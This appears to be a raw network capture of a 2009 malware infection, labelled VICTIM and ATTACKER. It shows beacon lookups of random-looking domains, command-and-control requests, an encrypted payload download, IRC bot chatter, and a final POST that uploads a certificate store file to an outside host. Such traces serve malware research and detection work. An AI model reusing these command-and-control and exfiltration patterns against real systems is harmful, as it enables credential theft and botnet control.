VICTIM: GET /vdsasgy HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: 61.61.224.4:1801Connection: Keep-Alive VICTIM: \003R\001\000\000\001\000\000\000\000\000\001hezomanzry\003biz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003R\001\000\000\001\000\000\000\000\000\001hezomanzry\003biz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003R\001\000\000\001\000\000\000\000\000\001hezomanzry\003biz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003R\001\000\000\001\000\000\000\000\000\001hezomanzry\003biz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003R\001\000\000\001\000\000\000\000\000\001hezomanzry\003biz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003R\001\000\000\001\000\000\000\000\000\001hezomanzry\003biz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003R\001\000\000\001\000\000\000\000\000\001hezomanzry\003biz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003R\001\000\000\001\000\000\000\000\000\001hezomanzry\003biz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003R\001\000\000\001\000\000\000\000\000\001hezomanzry\003biz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003R\001\000\000\001\000\000\000\000\000\001hezomanzry\003biz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003R\001\000\000\001\000\000\000\000\000\001hezomanzry\003biz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003R\001\000\000\001\000\000\000\000\000\001hezomanzry\003biz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003S\001\000\000\001\000\000\000\000\000\001kompylekar\002uz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003S\001\000\000\001\000\000\000\000\000\001kompylekar\002uz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003S\001\000\000\001\000\000\000\000\000\001kompylekar\002uz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003S\001\000\000\001\000\000\000\000\000\001kompylekar\002uz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003S\001\000\000\001\000\000\000\000\000\001kompylekar\002uz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003S\001\000\000\001\000\000\000\000\000\001kompylekar\002uz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003S\001\000\000\001\000\000\000\000\000\001kompylekar\002uz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003S\001\000\000\001\000\000\000\000\000\001kompylekar\002uz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 ATTACKER: GET /cd/cd.php?id=1C97A13C01A1774&ver=vp3 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: thewindowsupdate.bizConnection: Keep-Alive ATTACKER: HTTP/1.1 404 Not FoundDate: Mon, 19 Jan 2009 02:53:11 GMTServer: Apache/1.3.37 (Unix) mod_ssl/2.8.28 OpenSSL/0.9.7e-p1 PHP/4.4.6 FrontPage/5.0.2.2510Keep-Alive: timeout=5, max=499Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-118b404 Not Found

Not Found

The requested URL /cd/cd.php was not found on this server.

Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.

Apache/1.3.37 Server at thewindowsupdate.biz Port 80

0 VICTIM: \003S\001\000\000\001\000\000\000\000\000\001kompylekar\002uz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003S\001\000\000\001\000\000\000\000\000\001kompylekar\002uz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003S\001\000\000\001\000\000\000\000\000\001kompylekar\002uz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003S\001\000\000\001\000\000\000\000\000\001kompylekar\002uz\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 ATTACKER: GET /fd/sea.php?ver=ha4 HTTP/1.1User-Agent: clk_jdfhidHost: aboutsoftwear.netCache-Control: no-cache ATTACKER: HTTP/1.1 200 OKDate: Mon, 19 Jan 2009 09:28:08 GMTServer: Apache/1.3.37 (Unix) mod_ssl/2.8.28 OpenSSL/0.9.7e-p1 PHP/4.4.6 mod_perl/1.29 FrontPage/5.0.2.2510X-Powered-By: PHP/4.4.6Transfer-Encoding: chunkedContent-Type: text/html40 \\\\14iuuq;..cnous`ghb/nsf.r.ho/bfh>4'jdx\222-\232\364\2341\252\350A\316\270\313DiL\t\310\252\203\313\027\315\324\373\323k\366\322\000\237\357\350\265\230\357xT\257\343\232\210\367\327\001\320\254\325\240AO\027T\305\314\273\t\204\315r\334\177#y!\273\030\032n}\330\236\002\206?\244\372`H\tJ\351\227CI\202\016\177\036KRqe\2459s\361l \242(\270\265H\261\270\027\277\021\203\320\207\006\302\315\304\001\316\305\336\367\317\363\343\001\332\357\354\367\222\216\366Ycu\263r\267\224\005\323\371\243\240|\021\320\002\301\257\237\204\344\251A\377J\356F\364B\372\2105wu-*\237;S'\2216\21210\323\371\320x0\0274}a\\c^\007Kg|\375S\230\261D\317X=>\021<]I\202R\202F\203o\210:\002Q\334C\2663\264\007\202\254+\246\374\222\2457\260L\330\220\t\231\343\260\021\317\t\242\014\312\367\217\352\252\322\305\347\276\270y\332\354\021~\336\\274\211\272\215\270\345\341\225\224\017\324V\277\200\024\322\365 \210\031\262\336\257[\236\257\033\230\305\314d\006\2316\241;k{}8\216H\250\246\224\276\216\270\202\003\022Ae3N\324tf\264CUg\026ApyE\201O}\030N\350\364P)B\226\213\206)\205\361-\271W\0173\032\214\$\244\360p|r\254\260\311\214\\300\025\272\374q\005\2379\324\245\322\261j\010\207T\320\363\320;\335\261\241\332\316z\324\321\023\366\317\t]\344\221\324\344O\374L\367\242\333bT`\034\215YR\215\\\245\252,\242y\2533\210&\312\335\214\311{\325&3\206d\221E\020R\203\212iM~4\214iTl\017j\337\031\347{bL6P;\277]X\3656\231(\265\215 M?\2209\233\2031\321\373\014\353\022\217\005\217T\267\243\213U\300\213#\017U\232\275\013\220\016HX\025\371\273\346\256\334\257~\343\371\332\202}B\017\331\316\2721\204\215n\221i\361\003(\000\003\017\t\362\316\020\251\020\027K\031K\016\\013%C\2225\237=\2449\233:g%\254+A\272E\266I\262M\256\341\252T`\352M\001\003\235\362\306\370\351\340\364\031\350\035\032PN\216J\2257k\3241]6\3318\301<\275\224\375\227\377\231\006m\372\222\370\234\373\232\351\242\333\203\344\306\014\312\345\320\000\332\372\351\250\267\217\207}@w{\334\376\340\360\243\000\330\265\323\022u\002\277\025\277\350\305\030\275\026\263\331\270\026\005\266\035\252\253&f\355\242>71\217J\235\376FTM\375\207G:\024\306\355R\033\021(g&]4\035;!hjm)6\350\354\010\330\037\016B\0356\363OM\212J};r\366=\305\230\315R)f\351\202\344w\352s\350}\260,i.\234\212\322]\307\226\351\312\016\331\373\364\001\000\3678\374\313\244\270\2124\245\310\352\370\271g\\}`\342\272\354\326W\314\010\301\Y\016\276\024I\2479}\177\333^!\255\$\2575\244=`0\377\354\235\220=}\365\010@.\361\020F\304\217\330\024\034reda?,94gfS\304\255\306mNLvT\204Q\203\013\213=\206\025\226M 0Z\005\242\247\303d\340\260&\247\025\274\033{\252\010\205\274\024\217\001\315\266\307\003\321\002\310\377\342\372\303\254\241\276\032r[\004\255\247\266\035 \366\313n\221j\225f\231\206\235]a\352\234\001\003\200\013\362\355\020\351\340\003\031\350\035\000\204B\220\032\216>z3\245 ATTACKER: 2\244*i\344]\355\177\366t*\255\360\257\215\016y[\246\300\244\177\256\323\330r\240\245\227Z\215\014ev\246y\215\341\236\344\351\361\351\371\323\373\253\263\233\312E\227\341\230\321\025\323\021\273\262\270\034\274%w,\253\\251%\262\373\234\343\232\004T\013\$3\335\302LG\204\002Y\346s%g\337\311\305<@*=1142ny\034CQ\006\350\214M\205S\2115^\017\212?\212FEr\234E\2165\2269\342\203\366\327\254\336{%\250\\252\300h\265#\251\222D|J\003\331\016u\327\325\326\363\000\273\254\013^O@\212\340\343\270\324\310\365w\255\267S\352Zh&\316\360c\216G\200L\016\265![\031h'\247\035\253\336\2406\256\354\024\177\351\214\234\374\235:\224\377\233L\223\221{\006\177_s\310\324'\341\370\035afEv\001'\010\364\300w\024f1ZZT.P\222K\203?\227\004I\364\$\304R\332Y\002\2420\255*a#\251{\342\177r\017\265\031\343\331\213\022hv\332%\364\242\327\363\332\257\204\314\300_\324\016\351\363\346\260\347\233d4zd\372\315\000}\003\303\275\321\004t\025\301\034MZ+\037d,\216\033\247\000\036\332b\354\2448\225\0075UNQ\222\000K\030\021\354g^7\361)\307.A>'xr;s?3S\005\320<\312{\215\375Z\215\346\213\\226?\244IS\016\226\322-\216\363\323U\3079\302\240M\247o\222\207\310\323\003\337\355p4\346\201\361\347\360\350\245\354\352\336\005\317\362W\002\216\302\335\300{~\030Zly\331<\264\321r*a\331\177\305\035\234\347*\243\357X\013\236H\216\340\340B\211\305\374\227QW\230N\177]M,X\003\214\226\211\266*\013j|m\013\350\243\263<\3249\364H\276\333\273\201\372\234\340\215A\244\3744-\252\334\2476k4D\260\262\312\270A{\323\177\022\312\013\337\313\211\224\233-\227\353\252\256\221\275\334\252\242\366\360\322c\000\256\265\300\242Y\242\2661\300~\347\343K\311\002\214\020\312\332\256\021\363\231\301\014i\313\210\036\215s\016\037\232*\232\022\251\211\2132\215\226\266\211\2453\0333\221\273\324\236Y~1\253~\035-I\010\024Yi\347\212to[yv5\}\361\306\233@ACQG\364\212\253\352\276\250\305\2515Y\016\254\324\212(N/\270'\264\017\264\200ZFOc5\201\332\236\316\276T\323q\212e\003\362\260\244\247^\367\315v\211r\214c\352q\000\003n\t\362\333\020\351\340.\031\350\035\032\225;\207B\216\362\220:\222=\250\003[2\2540\265\307D\221?\250\301\320q\014]\276\024m\316k\375\312\002\325\005\335\357\324\363\260^\246[\353\345\220\210\351\332\230\260\242\265\034\247\260\241\310\252\333\255\337u\271\211\251J\254\315%\263\027\247'\255\353\2410\247\$x~\016|\024o4&\331\\335\036\341\032\t\025d\352?\000\003-\t\362\332\020\351\340\375\031\350\035\032\221\372\216:f\364\224@\226/\251/\247)_\374[\320\370\2636\261\261\027\307\312\266\022\302\t\313\271\304\377\323\316\004\206\224q\212u\272y\202\217~\201ye\352W\000\003G\t\362\335\020\351\340\003\031\350\035\032\207I\227CI@\216;\226\007\233/\2326g\372p\312 \265H\213\213\334m\036\275\306\274\021\311\021\321\373\323\323\235\262\316\372\332\361|\362Y\177\274y\346\340\371\226\377}\257\320\000\336\t\325\006\204\243^\241Z\245V\251R\255\336\261If\352`\000\003g\t\362\355\020\351\340\020\031\350\035\032\205C\233\366\2226j\360\241+\234+\2020\2610\260\334e\031\265\023\310\244C\205\310\031j\020\314\016\323\003\207\324\252\273\341\362\231\3714\003\224\365\201\343\343\333\367\234\352\336\366\325\377y\001\313\377\367R\037\017}\305\314\266\306\341\216\261J\205\022\277B\005>\301:\304g\352\346\000\003\035\362\245\020\351\340!\031\350\035\032\224J\206DI5\231/\244=r\350\2461\267\307\260\033\304mF\261\270\320\217\346\276\024\311\027\321\276\325\023\325\373\177\002\211\005\340\374\331\250\243\276\354M?9\264\244\307x\215nw\252\367\330\306\325\021\320\2004\024C\030\300\024U\367\254\032\262\331\250\350r\\2562\246X\347L\231\025s\026z&B-g/S\000T#N\350|l\272\$2\037p_J<8%%G\377\027u\307\241\264\3569C\200A\206\345\220;\242\346n\254\037]\022\323\242&\253\336\257\033\262\337\236\005x\034\020\0273\263\314\013\327\317\224\243\322\367\341\376\322\003\345\362\\373\024m\213\262\231\313\361\217\000\254\236dg L\240\251\231\326\264\316E\227\267%d\261\312\0254\353dP)\303:\3056\3112\315n ATTACKER: \320h\352\377\000\003b\362\355\020\351\340\030\031\350\035\032\212H\225K\235\362\241G\241/r\350\251#\2601\270)\267\032k\322C\253`\226\303\007\306\261\207\332\220\016\311\324o\222mt\250\2114\203\346\221\235\365\352\336\371\336\256\244\277\243\263\250\321\322\372\304\002\312\301\300|2\254\275\332\224\024\266\277V\316\255\274\365\031\247\344]\374`\355o%w\365v\p/0~\342\343,\t_=/\027\377\216NU\252{l\347\026\003y\375nb~Z@\361\024\337\370\314\224C\237\357[\0026;\222B\241+\247)\310\357u\310`\254\244+\301\027\305\264\232\024\315\007\317v\027Pt\003\376\242\362\326\002\230\267\206\343\340\341\346x\2341F\302\370\323x\326\210\027\347\303\314\003\315\025\221d\322z\024\234w\232\033\353\2612\026\255:0\211\235@\371\376\255(\013\\\354/\021\0064\203L\204\t\201\357\202`\365\006\371\002\375\020\001\371i\352\377\000\003b\362\355\020\351\340\030\031\350\035\032\212H\225K\235\362\241G\241/r\350\251#\2601\270)\267\032k\322C\253`\226\303\007\306\261\207\332\220\016\311\324o\222mt\250\2114\203\346\221\235\365\352\336\371\336\256\244\277\243\263\250\321\322\372\304\002\312\301\300|2\254\275\332\224\024\266\277V\316\255\274\365\031\247\344]\374`\355o%w\365v\p/0~\342\343,\t_=/\027\377\216NU\252{l\347\026\003y\375nb~Z@\361\024\337\370\314\224C\237\357[\0026;\222B\241+\247)\310\357u\310`\254\244+\301\027\305\264\232\024\315\007\317v\027Pt\003\376\242\362\326\002\230\267\206\343\340\341\346x\2341F\302\370\323x\326\210\027\347\303\314\003\315\025\221d\322z\024\234w\232\033\353\2612\026\255:0\211\235@\371\376\255(\013\\\354/\021\0064\203L\204\t\201\357\202`\365\006\371\002\375\020\001\371j\352H\000\003F\t\362\355\020\351\340\006\031\350\035\032\205C\233\366\2226j\360\222-\2305\2560\261\267\037\267,\262\027\311\213\320\240\314\310\227\314|\315\325\373\307\002\316\320t\362u\374u\376\000n\216\204\201z\205v\211r\215n\221\216\224k\352H\000\003F\t\362\355\020\351\340\006\031\350\035\032\205C\233\366\2226j\360\222-\2305\2560\261\267\037\267,\262\027\311\213\320\240\314\310\227\314|\315\325\373\307\002\316\320t\362u\374u\376\000n\216\204\201z\205v\211r\215n\221\216\224l\352\213\000\003z\t\362\344\020\351\340V\031\350\035\032\202\372\215H\2168j\360T\354U5\247\005\251'\244%P\261H\261L\030\262 \266\031\274\024\306\016\325\324\315\367\327\366\331\363\301\353\334\353\305\353\353\351\251\241\264{\210QC\355\005\317\007\324\376\326\337v\014e\014\205\373\267\036\303\026\275)\230(\267\223<\220\260\334u;?\020\2335s9c\032\205@3\017\365[\014\304V\031oZvh\024h1\t`Q8\005\366\t\320\023\356\021\352\036\346\031\341m\3525\000\003!\t\362\332\020\351\340\375\031\350\035\037\204=\224K\227FM\034\2227\232\002h6\241\374O\320E\226F\017W\017\263\026\272\344_\242]\236a\232e\226i\222\375\215n\352M\000\0038\t\362\355\020\351\340\024\031\350\035?\204=\224K\227FZ6\232=\2515\253;j5\242#\271\344\263%l)L\251\305\310y\017\302\022\311\t\311\323\213\002\334\247\223\310\203\263\265\261\361\337\201zes\353\336\362\254\227j\225\366\231b\235]o\352B\000\003,\t\362\355\020\351\340\010\031\350\035G\205\027G:\220\026\222>\240=\236:z%\2402\264\\252\027\255\027=\254\340\247\307\326{\314\233\254\202\326\224\312\364\331\363\257\220u\206y\202}~\201z\315v\210p\352I\000\0037\t\362\355\020\351\340\023\031\350\035\032\225>E9\2253\240An\354\236)\236!\245#\242\036\252(\265\027\272\$L\251\273\032{\340\241\003\321\t\330\377\335\316\234\260\257\230\241\220y\202[Y\342\334\241\264\217r\215w\221j\225eq\352?\000\003*\t\362\355\020\351\340\006\031\350\035\032\225>E9\2253\240An\354\226)\2346\213\037\256\037\244\256*\315\245\320\240\311\310\227\260|\315\325\373\307\002\316\320s\216q\212u\206y\202}\276\203yr\352B\000\003/\t\362\311\020\351\340\013\031\350\035=\202=\210E\236@\241!\2467\242'\253;\200-K\033C\344?\261\266\034\266\034w\320\225\321\321\020\237\250\211\240\312\364\331\363\257\220u\206y\202m~\201\302\205v\210s\3526\000\003!\t\362\332\020\351\340\375\031\350\035\032\225LE9\2253\240An\354\2475\260#_\374O\320E\2668\261|\\262\014\301\013\227\250]\236e\232e\226i\222m\016pt\352 \000\003\020\t\362T\370\351\340\364\031\350\035\032PN\216J\2257k\3241\3175\3069\302=\276J\272Du\352\322\001\003\226\013\362\355\020\351\340\005\031\350\035L\202G\212\023\231D\222B\231/\245'\2545\264-\263\036o\362x\006H\211)\235\231\344_\242\350\302\235\251\205\370\320\325\334\372\216\211t\205\366\277\240\303\270{\245\354\312\336\366\325\377\247\t\325\t\240\331\247\357\252\372\252\311\277\016M\316\305\260\276\005\247+\245w\375V\037w \200\361\235>\240>\037\334\325X,X ATTACKER: \212b~\36407YCZ&H>KJF^0)Hr\255\216\326\313TzX\3766-n0n\345e>\245\354U\236\001#\254\351\261\037\202F\207\324\327\254\320eR\340\310\005\322\325\371\313\255\326\361\334\374\344\377\327\363\342\366\245\247\274R\200Cg&\341\300\234\026\301\204\232l\020yyY\034\271b\214\320\205\341\200\372|\377}>\276\200\247\\CHiKi-\230ISP\207\311\377\230\211\304~]LOIU,3\023\003\005e\020\261\033\301qF\$=\340^15G\032\372\334\333\016\320V\007\232D\220=`1\247'\237+\2621\205\004t*F\010\275\211\272\032\002\016\262\261\217\001\316\374\3151\252JN\001\336\352\236\262U\272\325\276\324\223\355\251\004\320\206\003\322\226\361\320\\B\2610\366\310\003\211\344\221\035\253+\215q\262o\243\316\200.m*W\365\224Ff\025\376\263\220@\273\313:7@d\352\314pXo0R*pcm`3b\366\373\020d?\034C\314GX\333\177\326i\026K\216\000\231\317m\376^AG`\326u\267\033\261\335\307\322\032 \304\004g\306\201]N{\307\251B\266\317\033\226\267\340\252\247\2200X\327O\324S\342\244\260;\215nq\245 \333\013\320\330\3331Z\245V\250v\352\223\001\0039\013\362]\020\351\340\010\031\350\035G\205\027G9\2253\2433S\352\243'\246'I-\261*<\031(\261\256!\304!\271\310\203\340c\236a5\214\322\315\373\343\256\231ys\205\256\234\254\343\342\354\245\351\356\342\301\220\317\246\304~\327o\247\232^\327\234\305\303\264\022\272\321\260\$\270\330\261!\2634\257\347\2378d\243,\276\341\365i5BA G\203W\203JL>\032vV\005(4flqoy\026rV>u0\005\013\002^5?QLV\366\212\253\031\215\236E\233\371\260\363u\356c\351\203\343\343\371\\\211\253\241\311\037\311\330\305\354\314\010\251\351\301\037\037Wo\332\266\331\320\313\334\241N\255\267'W\337\024\345\007\323t\376\213\317\025\374U\005e\356\300!\300X\230\$\264Q\253 *\234\020{\241\331\234\253]4\343E\232\023)\005\024\216W[8\371\0300vV(A.\=\014p\222=\250=\235\344g\372p.\267\364\372\025\376\\V\256`\305h\273^\250<\220\034\225\335\366\215\366\326\363\334\356\355\262\257\262\243\232\346\342\224\340\227\340\000\241\014\341\252o\000\312\342g\013\277\260\203\317\214\207\010RC\337\260\037\2611u\312y\332\2502N5,\360Q\305\337\330\220N{\037gMP\372\030>=\254i\347\001\035:jhuk}\022\201g\201\210\261U\213\200=Q\322Y\220\263\222L<\0069\022\2552\2360\2442\251\307;I\006\031\022\363\244\322\337\t\306\004\300d\221S`C\001\306\000\323\327\332\372\332\344\3659^V\200\226\000\333\361\265\023\337\002\315\374\324\000j\267\024\263\261\2014|\030\263\033e\267\362\306\301\016k\030h\354\335Q\217,e=R2\220ot\277\347\0222\t\210\031\203\377@\373\006\371(\030\224\3131\317-'S\210\311\336\033\210\zh\217C\207\356\217,\204\2768)T-\2636\255\374E\333f\312\253\225\267\025T\361\367\300\347\201\313\230\255\226\245\026W7\267\2270\236\203\354\350]\341}\366\350\350\352\362\341\373\216\300\345\345\330\013\330\332\302>W\233C\030\265\\323\037\276\343\213\274\264\036\242\hSdg\342\372\272^e\347N\374PZZ\025\367\013\022\277F\001sc~\035-\337\314oqo\021\307\243[\004-\026\007\023\355U9=\230\212\361\014\265'\230\000Tj\365>\2265\\\275\2620\257\365\302#J&\274!\303\252\262\241\217\337\314\331\267\373\310A;\017m\216q\212u\206\371\206|x\352e\001\003*\013\362\355\020\351\340\001\031\350\035L\202G\212\023KB\216A\244A\2448\235\344g\372p.\267\364O\262K{\336\3476\306\225\261`\002\201\021\316\372\335\372\250dmi\236\273\251\244\273\244\357\334\370\346\304\326\246\321\375\247n\023\226\375\266\322\006\322\031\305\361\301\373n\345x\327\0056}mC\004_;\233\351\226\317t:\234B\207\306\007\234\201\035'\357TJ~Vu_mZt:x]\375\270l@2R@]Ce\211_\211y=\205\356G\000Qn%>\333\247\376\252\324A#\\231\257\003\275\\201\031\346\344\333(0`(\366\240\261\010\032\005\177\006\316\360\332\370N\275\364]\367\366\232\256\247\264@X\301N\000\327E\035\263\322\022\322\021\302\324}\027t\315n\275e\276\\)\\\236\006\007\023\367oqp:)@\005\024\214N\220@\222J\262\005?_{N ATTACKER: \200\0313\037\201\372\357\363\326ZL\252\026rX5\236t_W\203\206\220\212\231O\227\363\343W\035[\375\345i\302\020g\257y\362j5S\344\275\332tE\376_]\364\250\256\265\020\312\375dET\000x\374\340\350\330\203\353\277\244\247\274\354\352\352\376\344 \203O\327\010\314\312\325\002\231\036\317\006\3022\276o( \261w\245\366\277\275>\301\272\0006\t4\315-y\352\256\001\003\220\013\362\353\020\351\340\007\031\350\035L\202G\212\023KB\216A\244A\2448\235\344g\372p\016\211\364G\250JLV\260U\246\240\243\203\332p\272\306\002\322\371\333D\037\207T\261\345\347\343\362\243\232\350\345\365\345\302|\310u\013O\373a^w\003\311\031\312\030\277\317\214\356N\007\277,\001\032A\316D\001\2315\224\357\2426\242\260u\261\217%BF<3T\034@Q\022\200\313\004\324\357b\036e\374Yh`esS\203O\203I\202\026i\275\376\330Q\031\240;\221B\231\373g\366\233\013\212\005a-\376\265\000\261\277\021\216\321\204\017\306\t\221\027\310\311\325\016\227\371\326\364\230\252\327M\347\221U+\275\222\265\235\271\222\365\323\376\322\t\261\361\{i\322|\343\247,\245\266Us\311\003\226\016\226\335\262:\252\326V\352+;\235\300o(7\346\217>\226\016\210Ll\037.c\351\257~Vhbpkv\016-'\331]\\345\244\016-\204T\004P\234M\220\005\341\2132]\2320\231\347n4[\342\007\304b\336\307-r\342[\267`\340\346\344\207\242\375\001\306\007pCT\014\337\005\262\177\271\354\211\245KX\214'\267\003\347\333\360\331\234\3063\206\003\236ER7\234\212\244\363\272_\364\364nMa+\267&,\214\263\031\201\021\276\033\263\317\223\311\2507\335\004\334\372\356\345\325=\345\361}\265\344z\263\333\266\331\372I\277 \267\312\314\246\021\215\306\020\271\353R(\331s\266\372F\313x\334\251\314\225\320\327#\245!\240\020g\023\\2338\211\221\037\201NCK{\004\201d\032\353\354\023!+E%\005\370\204\367\003\004\303+?\031\031\345\214_\261G`B\230.\233\000e\331\226=\250U\244,\260\355\200\266[C\275\017\312\242\324>\306\244\311+\343\310\010\250\365\332\362\256\351&\333Q\303\335~\300\264-\324\351\341h\233\365\342\372\337\333b\256\234\304\210\333\312f\2262m\2622\265\247\230pl5|\325A0a\031o#a\347\376\207\241\362\0364\232y\211b\227\257\233h}\0374mf\216lb\205\375\020\226Ry=\205\246\312\350\225M\205\365\371\004k\031\002;\320!\2467\242\327\357\217k\321\272]J\214\205\2208\216px!\323\007\3138wv#g\313rvt\351\267\354\347\230\260\347M\207\254\363\237\211\303\265\320V\230\003\244\\\027\345\221\037\255H\245\365\224v\213\222\332\017\207\027\216&\362\375\321\002\273\2712\027\225D\237C\002I\317\255\200\316\211W\212:\365\357\220\2756\252\334\003\204J\035f^Bz\014\3730#;\233J\0319P\204\221H?\213I\331\256[\370\2366\\\201\234{\027C!\272\371\241d\0205\234\023\270Qbi\311Y\226t\2443\345\355\275\357u\307X1\375\005\215\373\201\321\267\261?\337F\221\361\357\004\265\372\306\327\343\021[#\257\305\0107\027\266\271\270\366D\250\037\275<\233\311n\315@\250.\2471to-\036 e\357\035T\312ya,yecn\024G/\247\332\037\333\224\241O\237<\023\354\262\201%\226\004\266\361\027 \007K\333\002o\324B\240\361{\371\325s'\214n\313\237'7l\347D\$\245\\222\243#\373\246W\031hC\375\376\001\372\005\366I\364\014 VICTIM: POST /fd/rep.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: MyAgentHost: aboutsoftwear.netContent-Length: 21Cache-Control: no-cacheer[0]=5.0-&er[05]=IW_ ATTACKER: HTTP/1.1 200 OKDate: Mon, 19 Jan 2009 09:28:26 GMTServer: Apache/1.3.37 (Unix) mod_ssl/2.8.28 OpenSSL/0.9.7e-p1 PHP/4.4.6 mod_perl/1.29 FrontPage/5.0.2.2510X-Powered-By: PHP/4.4.6Transfer-Encoding: chunkedContent-Type: text/html0 ATTACKER: PING :i. ATTACKER: PONG :i. VICTIM: JOIN &virtu VICTIM: \003T\001\000\000\001\000\000\000\000\000\001\013wejzuamurac\003com\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003T\001\000\000\001\000\000\000\000\000\001\013wejzuamurac\003com\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003T\001\000\000\001\000\000\000\000\000\001\013wejzuamurac\003com\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003T\001\000\000\001\000\000\000\000\000\001\013wejzuamurac\003com\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003T\001\000\000\001\000\000\000\000\000\001\013wejzuamurac\003com\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003T\001\000\000\001\000\000\000\000\000\001\013wejzuamurac\003com\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003T\001\000\000\001\000\000\000\000\000\001\013wejzuamurac\003com\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: \003T\001\000\000\001\000\000\000\000\000\001\013wejzuamurac\003com\000\000\001\000\001\000\000)\020\000\000\000\000\000\000\000 VICTIM: POST /del/us.php?1=sri_zojk5nlqcr3_00044f07&i= HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: zonephp.comContent-Length: 90Connection: Keep-AlivePragma: no-cacheLLAHR\000\000\000\374\t\362\032\021\001\025\353(\342\035\336\372\341&\326*\322@\3169\312m\306=\302B\300\345\273J\266\334\272M\256S\\\244\252Y\253a\341\233\366\274\337\267\340\301\352\305\317\302\326\325\364\341\352\262\275\263\352\366\342\335\301\261\316\366\332\372\234\247h\346\307\025\312\ VICTIM: POST /del/us.php?4=sri_zojk5nlqcr3_00044f07&i=&s=1770&p=certs%5CMY_19_01_2009.pfx HTTP/1.0User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: zonephp.comContent-Length: 1770Connection: Keep-AlivePragma: no-cache VICTIM: &\213\370\363\360\022\355Eh\037\210#\347K`m\\ \337.\3252j\267\314\320\306\277\304\324\352\307\274\330\342\317\261\t\260^\320\337\352\343\225n\233l\227\t\024p7u\014x+\251\004\200\037\261\374\210\023\217}\267\364\331\360\214s\232n\247_\243\372'X_\202/Pcz\321L\303lC\206G1\3227\3253\320^\337.\335G\2072}\364A2x\030\353\031\275\022s\014\205\266\255\263(\022\340\214|\230-S\236R\267\367\210\264\363\206\230\331*\376B\246\301\335\305\207\322!|\355\333\200\224Ndu\226/H\006\013\236k.E\$\376\210\243\201\253\010\377p\017\224\254\273\037>O\237o\325\356n\370iU\0228\202\315\317\230j0k\206\342\325/\336c\373Ei\202/\371391\236\361\224\307\230\304\210\210s\376\204.\224\031P\211\224\212M\006\257\232\325\240\024G\005\177\373\353\\\231\250\210\252\247{\214\217Yd\225?\032C\036\345J,-\363\346b\356\203\206\316\353v^\250\347\037\337P\031\177_\265/1\255F\345\316\244\213\305\226,%\356V\375}+\317\342&\355\004\350\261C.\240\242\346\307\314\365\204\376\221[\202\275D\233D\371\246\005R\022\326\252\353u\351\216\253b\200\213\030\274\242\342O\263\366\227\035\003\021L\243\353\013\337N\275e\222\037\250\\\373\330\352N\031#\333\266X\236`]j\352\201\227\265\200I\301F/\337\347&=%Q;\\370\177\352\316\215W\323\\177\310\020T\251/\273\030N\232X\031\035\266\350\223\244\371\233>BL\347\305p\274\021\223\227\242\344\355h\356N\336D\307\340g\251\3634\310Z\313\220\310\340\357\326V\342o\223}\037q\211\017\022>\200\304A\001\261P\204\$w\2041b\353\246\\\261\031\270\277{\275\026\330e+\342U|\177_\361(!\224d\300s\005\354\237d\370\235\250\212\233?\016u\222*\331L\210w\370\021\013\271Q.\350\205x\215S\242\247\352)G\263\225\217J\376&D\034\241z\244\016\314\321\341\023\013\375\342D\332\213Q\\\275\002\373\327\3018\372?8\236\002\235\016\350Fp\352\003\357.\215\345\236\262t\017\003\303W0\200\313\365K\261\035\033a\210\307\234R\252\3475\247\306\244{\213\271\343S\027\232\265M\361'\343O\\qX\$\3332\323J\367?\306A\277A\272E\346\240\270V\330\327\362\333\235f\243f\262\222\344\203\336i\366m\276q\273u\351y\344}\342\201\255\205\332\211\237\215\324\221\234\225\237\231\227\235\213\241\216\245\267\251\210\255\201\261w\265\250\271v\275\241\301\240\305c\311\225\315g\321\215\325\212\331T\335T\341R\345H\351G\355C\361?\3657)e\003\007,\000\006\372tD\377\022\033k\004m\342j\336\212\332\210\326\233\322\234\316\244\312\244\306\237\302\261\276a\272\207\266\252\262\300\256\266\252u\246